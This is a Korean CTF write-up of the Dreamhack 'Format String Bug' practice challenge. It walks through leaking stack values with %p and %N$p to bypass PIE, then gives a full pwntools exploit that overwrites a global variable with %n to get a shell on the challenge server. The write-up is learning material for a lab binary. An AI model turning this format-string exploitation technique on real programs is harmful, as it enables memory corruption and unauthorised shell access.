dreamhack - Format String Bug writeup
[dreamhack] Format String Bug writeup
1. 문제

Exploit Tech: Format String Bug에서 실습하는 문제입니다.
23.11 update
binary updated
Dockerfile is added to the attatchment
2. 풀이
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void get_string(char *buf, size_t size) {
ssize_t i = read(0, buf, size);
if (i == -1) {
perror("read");
exit(1);
}
if (i < size) {
if (i > 0 && buf[i - 1] == '\n') i--;
buf[i] = 0;
}
}
int changeme;
int main() {
char buf[0x20];
setbuf(stdout, NULL);
while (1) {
get_string(buf, 0x20);
printf(buf);
puts("");
if (changeme == 1337) {
system("/bin/sh");
}
}
}
buf
변수에 get_string
함수를 통해 입력을 받고, 만약 changeme
변수가 1337
이면 쉘을 실행시킨다.
printf
함수의 fsb
취약점을 이용하는 문제이다.
문제는 지금까지와 다르게 이 문제는 checksec
을 확인해보면 온갖 보호기법들이 다 걸려있다.
ubuntu@instance-20250406-1126:~/dreamhack/level1/format_string_bug$ checksec fsb_overwrite
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level1/format_string_bug/fsb_overwrite'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
보호기법에 대해서는 나중에 따로 정리를 해야겠다…
결론적으로는 실행할 때마다 모든 주소값들이 랜덤하게 변하기 때문에 fsb
취약점을 이용해서 정보를 leak 해야한다.
ubuntu@instance-20250406-1126:~/dreamhack/level1/format_string_bug$ ./fsb_overwrite
12341234 %p %p %p %p %p %p %p %p
12341234 0x7ffc1e190f40 0x20 0x7e3cefb1ba61 (nil) 0x7e3cefd36380 0x3433323134333231 0x2520702520702520 0x2070252070252070P
우선 입력한 값은 6번째 위치부터 쓰이는 것을 확인할 수 있다.
그리고 처음에는 지금까지 해온 것처럼 aaaa %p %p %p %p
이런식으로 입력하면서 확인을 했다. 그런데 아마 입력을 할때마다 스택에서 인자가 어긋나는건지, .code
주소로 보이는 것들이 보이지를 않아서 당황했다. 그나마 제일 가까웠던게 libc
의 read
함수 주소를 구할 수는 있었는데 이걸 가지고는 해결이 안됐다.
read함수에 one_gadget 주소를 덮어씌우면 되긴했을까? 잘모르겠다
한참을 헤메다가 %3$p
이런식으로 입력하는 방법을 알게됐다. 이렇게하면 스택이 꼬일 염려 없이 해당 위치에 있는 값을 바로 가져올 수 있다.
예를 들어 %3$p
는 스택 3번째 값을 가져오는 것으로,
ubuntu@instance-20250406-1126:~/dreamhack/level1/format_string_bug$ ./fsb_overwrite
%3$p
0x72bbd051ba61
%p %p %p
0x7ffd1b1e0240 0x8 0x72bbd051ba61
이렇게 %p %p %p
를 했을때 3번째 값과 같음을 볼 수 있다.
다만 %p
를 여러번 사용하면 스택이 좀 꼬여서 제대로 값을 얻을 수 없는 것 같다.
이 문제에서 필요했던 것은 실제 코드 주소였는데, %p
를 여러번 사용하는 방식으로는 원하는 주소를 가져올 수가 없었다.
ubuntu@instance-20250406-1126:~/dreamhack/level1/format_string_bug$ ./fsb_overwrite
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
0x7fff6e34ad90 0x20 0x710caf51ba61 (nil) 0x710caf67d380 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x7fff6e34aea0 0xcc49b7d164680400 ®4nÿ
0x7fff6e34ad90 0x16 0x710caf51ba61 0x2b (nil) 0x2520702520702520 0x2070252070252070
%17$p
0x560791aec293
그래서 노가다를 통해서 위와 같이 17번째 인자가 main
함수의 시작 주소임을 알 수 있었다.
진짜 이것때문에 한참 고생했다
(gdb) disass main
Dump of assembler code for function main:
0x0000560791aec293 <+0>: endbr64
0x0000560791aec297 <+4>: push %rbp
0x0000560791aec298 <+5>: mov %rsp,%rbp
0x0000560791aec29b <+8>: sub $0x30,%rsp
0x0000560791aec29f <+12>: mov %fs:0x28,%rax
0x0000560791aec2a8 <+21>: mov %rax,-0x8(%rbp)
0x0000560791aec2ac <+25>: xor %eax,%eax
0x0000560791aec2ae <+27>: mov 0x2d5b(%rip),%rax # 0x560791aef010 <stdout@GLIBC_2.2.5>
0x0000560791aec2b5 <+34>: mov $0x0,%esi
0x0000560791aec2ba <+39>: mov %rax,%rdi
0x0000560791aec2bd <+42>: call 0x560791aec0c0 <setbuf@plt>
0x0000560791aec2c2 <+47>: lea -0x30(%rbp),%rax
0x0000560791aec2c6 <+51>: mov $0x20,%esi
0x0000560791aec2cb <+56>: mov %rax,%rdi
0x0000560791aec2ce <+59>: call 0x560791aec209 <get_string>
0x0000560791aec2d3 <+64>: lea -0x30(%rbp),%rax
0x0000560791aec2d7 <+68>: mov %rax,%rdi
0x0000560791aec2da <+71>: mov $0x0,%eax
0x0000560791aec2df <+76>: call 0x560791aec0e0 <printf@plt>
0x0000560791aec2e4 <+81>: lea 0xd1e(%rip),%rax # 0x560791aed009
0x0000560791aec2eb <+88>: mov %rax,%rdi
0x0000560791aec2ee <+91>: call 0x560791aec0b0 <puts@plt>
0x0000560791aec2f3 <+96>: mov 0x2d23(%rip),%eax # 0x560791aef01c <changeme>
0x0000560791aec2f9 <+102>: cmp $0x539,%eax
0x0000560791aec2fe <+107>: jne 0x560791aec2c2 <main+47>
0x0000560791aec300 <+109>: lea 0xd03(%rip),%rax # 0x560791aed00a
0x0000560791aec307 <+116>: mov %rax,%rdi
0x0000560791aec30a <+119>: call 0x560791aec0d0 <system@plt>
0x0000560791aec30f <+124>: jmp 0x560791aec2c2 <main+47>
End of assembler dump.
changeme
변수는 위의 gdb
를 보면 알 수 있다시피 0x560791aef01c
위치에 존재하고, leak한 main
주소를 base로해서 구할 수 있다.
이걸 이용해서 payload를 작성해보면 아래와 같다.
payload = b''
payload += b'%1337c%8'
payload += b'$naaaaaa'
payload += p64(changeme)
1337
을 changeme
변수에 써야하므로 1337개의 문자를 쓰고, 어떤 주소에 쓸지를 입력해줘야한다.
따라서 최소한 %1337c%X$n
+ changeme_addr
은 써야하는데, 이미 첫번째 인자가 10바이트를 차지하기 때문에 16바이트를 패딩으로 채워주고 8번째 인자에 changeme
주소를 써야한다. 이 패딩값은 아무렇게나 aaaaaa
로 채웠다.
실제 사용한 exploit은 아래와 같다.
from pwn import *
#p = process("./fsb_overwrite")
p = remote("host3.dreamhack.games", 15481)
e = ELF("./fsb_overwrite")
# remote
p.sendline("%15$p")
# local
#p.sendline("%17$p")
main_addr = int(p.recv(1024).decode(),16)
print(hex(main_addr))
code_base = main_addr - e.symbols["main"]
changeme = code_base + e.symbols["changeme"]
payload = b''
payload += b'%1337c%8'
payload += b'$naaaaaa'
payload += p64(changeme)
p.send(payload)
p.interactive()
서버환경에서는 17번째 인자가 아니었기 때문에 다시 한 번 노가다를 통해 15번째 인자임을 확인해서 exploit을 수행하였다.
FSB 너무 어렵다…
아무튼 해결~